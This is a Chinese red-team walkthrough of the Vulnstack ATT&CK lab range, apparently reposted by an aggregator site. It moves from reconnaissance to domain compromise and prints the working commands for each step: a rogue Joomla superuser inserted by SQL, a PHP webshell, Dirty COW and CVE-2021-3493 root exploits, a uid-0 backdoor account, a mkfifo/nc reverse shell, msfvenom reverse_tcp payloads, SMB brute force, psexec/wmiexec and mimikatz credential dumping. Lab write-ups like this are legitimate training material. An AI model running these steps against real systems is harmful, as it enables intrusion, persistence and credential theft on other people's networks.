ATT&CK实战系列——红队实战

Posted Fatesec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ATT&CK实战系列——红队实战相关的知识,希望对你有一定的参考价值。

一、环境配置

vlunstack是红日安全团队出品的一个实战环境,具体介绍请访问:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

拓扑结构

百度网盘: https://pan.baidu.com/s/1iy4MIy6ni6d9F3iypeCYVQ
密码: 【红日安全】您的下载密码为:7mhi。

环境配置
打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。
挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。
除重新获取ip,不建议进行任何虚拟机操作。
参考虚拟机网络配置,添加新的网络,该网络作为内部网络。
注:名称及网段必须符合上述图片,进行了固定ip配置。

描述

目标:域控中存在一份重要文件。
本次环境为黑盒测试,不提供虚拟机账号密码。

靶场配置


centos为出网机配置了两张网卡一个外网、一个内网

二、前期信息收集

站点、端口服务探测、目录敏感文件泄露

使用nmap、对当前的C段进行探寻

nmap -A -v -T4 192.168.1.1/24


发现了192.168.1.110存在服务并且开放的端口如下

nmap -sV -O 192.168.1.110


开放了一个web网站服务、mysql数据库服务、22远程ssh连接服务,访问ip站点如下:

发现是一个joomla CMS,于是进行目录扫描,发现敏感文件如下:

目录泄露~

后台管理登陆页面泄露

phpinfo泄露

数据库账号密码泄露

joomscan

也可以使用使用漏洞工具扫描 https://github.com/OWASP/joomscan

joomscan -u http://192.168.1.110/



发现joomla是3.9.12版本,然后尝试搜索已知漏洞

这里通过敏感文件泄露已经获取了数据库账号和密码,先去尝试连接

public $user = 'testuser';
public $password = 'cvcvgjASD!@';

数据库连接成功,因为 joomla 可以在后台模板 getshell,所以尝试查找管理员的账号密码登录后台,但是数据表中存储的管理员密码是加密的,需要换一种思路。

根据 joomla 官方文档 :
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
执行 sql 语句在数据库中添加 admin2/secret 超级管理员,注意 sql 语句修改为目标数据表的前缀。

INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());

INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');

三、漏洞利用&Joomla后台getshell

成功进入后台

根据利用Joomla < v3.9.15 远程命令执行漏洞getshell
Extensions->Templates->Templates->Beez3 Details and Files->New File 新建文件 shell.php,写入一句话木马。




使用蚁剑连接,shell连接目录为:http://192.168.1.110/templates/beez3/shell.php

bypass disable_functions


虚拟终端执行系统命令返回 ret=127,怀疑服务端 disable_functions 禁用了命令执行函数。

原因是php7禁用了一些危险函数

这里直接选择蚁剑的插件进行绕过


当前网卡ip与连接ip不一致,当前 ip 为 192.168.93.120,内核是 ubuntu,说明真正的 web 服务后端在 ubuntu。

centos 服务器账号密码泄露

信息收集

uname -a
cat /proc/version

由于 ubuntu 内核比较新,暂时不考虑提权。翻找文件发现 test.txt 给出了一个用户的账号密码。
账号:wwwuser
密码:wwwuser_123Aqx

Xshell进行连接

查看内核版本

拿到出网机后想继续横向移动,一般是在跳板机搭建 socks 代理,所以需要将 centos 提权。

三、内网渗透

LES:Linux 提权审计工具
工具地址:https://github.com/mzet-/linux-exploit-suggester
上传linux-exploit-suggester.sh到centos服务器上并运行


检查出最有可能是脏牛提权

centos&脏牛提权

原理:
linux内核的子系统在处理写入时复制至产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。并且在提权的时候,杀毒软件并不会检测到。
竞争条件,指的是任务执行顺序异常,可导致应用奔溃,或令攻击者有机可乘,进一步执行其他代码,利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获取到root权限。

影响版本:
Linux内核> = 2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

危害:
低权限的用户可利用这一漏洞在本地进行提权
工具地址:https://github.com/FireFart/dirtycow

将 dirty.c 上传到 centos,gcc -pthread dirty.c -o dirty -lcrypt 命令编译生成 dirty 可执行文件,执行 ./dirty password 提权

gcc -pthread dirty.c -o dirty -lcrypt 

./dirty password

su firefart
密码:password


权限维持,添加 root 后门

# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/mysqld

ubuntu&CVE-2021-3493提权

第一步是先将绕过disable_function的shell反弹到centos上(因为不能出网)
centos 离线安装 nc:https://blog.csdn.net/weixin_40583191/article/details/106803430

centos
nc -l 2333

ubuntu
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.93.100 2333 >/tmp/f



Ubuntu特权提升漏洞(CVE-2021-3493)

漏洞描述
OverlayFS漏洞允许Ubuntu下的本地用户获得root权限。Linux内核中overlayfs文件系统中的Ubuntu特定问题,在该问题中,它未正确验证关于用户名称空间的文件系统功能的应用程序。由于Ubuntu附带了一个允许非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来获得更高的特权。

影响版本
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM

刚好ubuntu16.04尝试提权
EXP下载地址:https://github.com/briskets/CVE-2021-3493

下载好之后直接上传exp

gcc exp.c -o exp
chmod +x exp
./exp

CrossC2 上线centos

kali_ip:192.168.1.128
./genCrossC2.Linux 192.168.1.128 6666 null null Linux x64 test

生成一个linux,名字为test的shell

上线CS

配置监听器

msf 上线centos

攻击机生成 shell.elf,设置监听,将 elf 文件上传至 centos,执行后攻击机成功获得一个 meterpreter。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=4444 -f elf > shell.elf


四、横向渗透

在msf上添加路由,meterpreter 放在后台,进行存活主机探测。

run autoroute -s 192.168.93.0/24
background
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
exploit

得到了三台加入TEST域的 windows 主机


配置代理

配置一下代理再搞,将ew_for_linux传到跳板机

./ew_for_linux64 -s ssocksd -l 8888


kali设置代理

vim /etc/proxychains.conf 

windows代理软件Proxifier,打开配置代理

代理弄好这就直接上工具就完事了,开干

设置 proxychains bash 全局终端

proxychains bash 

192.168.93.10

192.168.93.20

192.168.93.30

web无果,只好尝试爆破咯,这里踩坑kali2021版本的msf怎么打都不行,而kali2019版本msf就行这就离谱了。

smb爆破

use auxiliary/scanner/smb/smb_login
set SMBUSER administrator
set PASS_FILE /root/pass.txt
set rhosts 192.168.93.20
run


还可以使用工具

PsExec漏洞利用

PsExec是一款功能强大的软件,起初主要用于大批量Windows主机的运维,在域内效果不错。但是,攻击者逐渐开始使用PsExec,通过命令行环境和目标机器进行连接,甚至控制目标机器,而不需要通过RDP远程桌面协议进行图形化控制,很好的隐藏了黑客活动。
参考:https://www.cnblogs.com/tomyyyyy/p/14667204.html

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.20
set smbuser administrator
set smbpass 123qwe!ASD
run


但是一直掉线就很尴尬~~~ 查看共享目录并登录

smbclient -L 192.168.93.20 -U administrator

smbclient //192.168.93.20/ADMIN$ -U administrator


wmiexec smb登录

wmi 出现在所有的 windows 操作系统中,由一组强大的工具集合组成,用于管理本地或远程的 windows 系统。攻击者使用 wmi 攻击时 windows 系统默认不会在日志中记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性。

wmiexec 执行命令,搜集信息,参考:wmiexec.py 下载地址:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python3 -m pip install  .(pip install . 两个空格)(若pip安装出错,尝试apt install gcc-9-base ,重新下载apt-get install python-pip)
python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'

定位域控

DNS服务器一般是域控 嘿嘿也有可能不是

可以先查看一下端口

netstat -an | find “3389”

REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

关防火墙
https://www.cnblogs.com/Fluorescence-tjy/p/9835743.html


上传mimikatz

账号:administrator 密码:123qwe!ASD 远程连接,好家伙传不了


通过smb共享上传mimikatz

smbclient //192.168.93.20/C$ -U administrator
put mimikatz.exe


那可不就运行起来

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log


抓到域控密码

ipc远程连接

IPC$(Internet Process Connection)是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

利用IPC$连接者可以与目标主机建立一个连接,得到目标主机上的目录结构、用户列表等信息。

利用条件:
1.管理员开启了默认共享
2.139或445端口开放

net use \\\\192.168.93.10\\admin$ zxcASDqw123!! /user:test\\administrator #系统默认路径c:\\windows\\下
dir \\\\192.168.93.10\\C$\\users\\administrator\\Documents

至此差不多已经结束了,还有一台win7密码和win8一样,方法很多可以中继攻击,也可以wmiexec获取shell

此次渗透主要是做代理上花了一些时间研究,其他还好
本文仅作靶场实战教程,禁止将本文演示的技术方法用于非法活动,违者后果自负。
参考的大佬们博客:
https://blog.csdn.net/luson2014/article/details/110534905
https://blog.csdn.net/qq_38626043/article/details/119354151
https://blog.csdn.net/weixin_45794666/article/details/118930601

https://mp.weixin.qq.com/s?__biz=MzkzMzI4MTY3OA==&mid=2247483698&idx=1&sn=32b5a4651610c36c92e4166cca768c25&chksm=c24fabd3f53822c5cab1c1f3feb52cfa6307fcc779e3ca2ef6685d1bef2b605d90dec064f458&mpshare=1&scene=23&srcid=1128RLI3aI2zqpk3QmWxdU6f&sharer_sharetime=1638111141625&sharer_shareid=cdcfacac1a78422ff14c9853c2dc0fef#rd

https://mp.weixin.qq.com/s?__biz=Mzg4MjY1NDQ4Nw==&mid=2247483749&idx=1&sn=431647e7af9da9ab6a2e6380da8752c8&chksm=cf522d1df825a40bb92a0eb3029b41495828bb916ef553c156072c2364dfa1551282fe89a451&mpshare=1&scene=23&srcid=1118gzbSD9LNP5PlHlDW5B7R&sharer_sharetime=1638173786859&sharer_shareid=cdcfacac1a78422ff14c9853c2dc0fef#rd

以上是关于ATT&CK实战系列——红队实战的主要内容,如果未能解决你的问题,请参考以下文章

ATT&CK实战系列——红队实战

ATT&CK实战系列——红队实战

ATT&CK实战系列——红队实战

ATT&CK实战系列——红队实战

ATT&CK实战系列——红队实战

ATT&CK实战系列——红队实战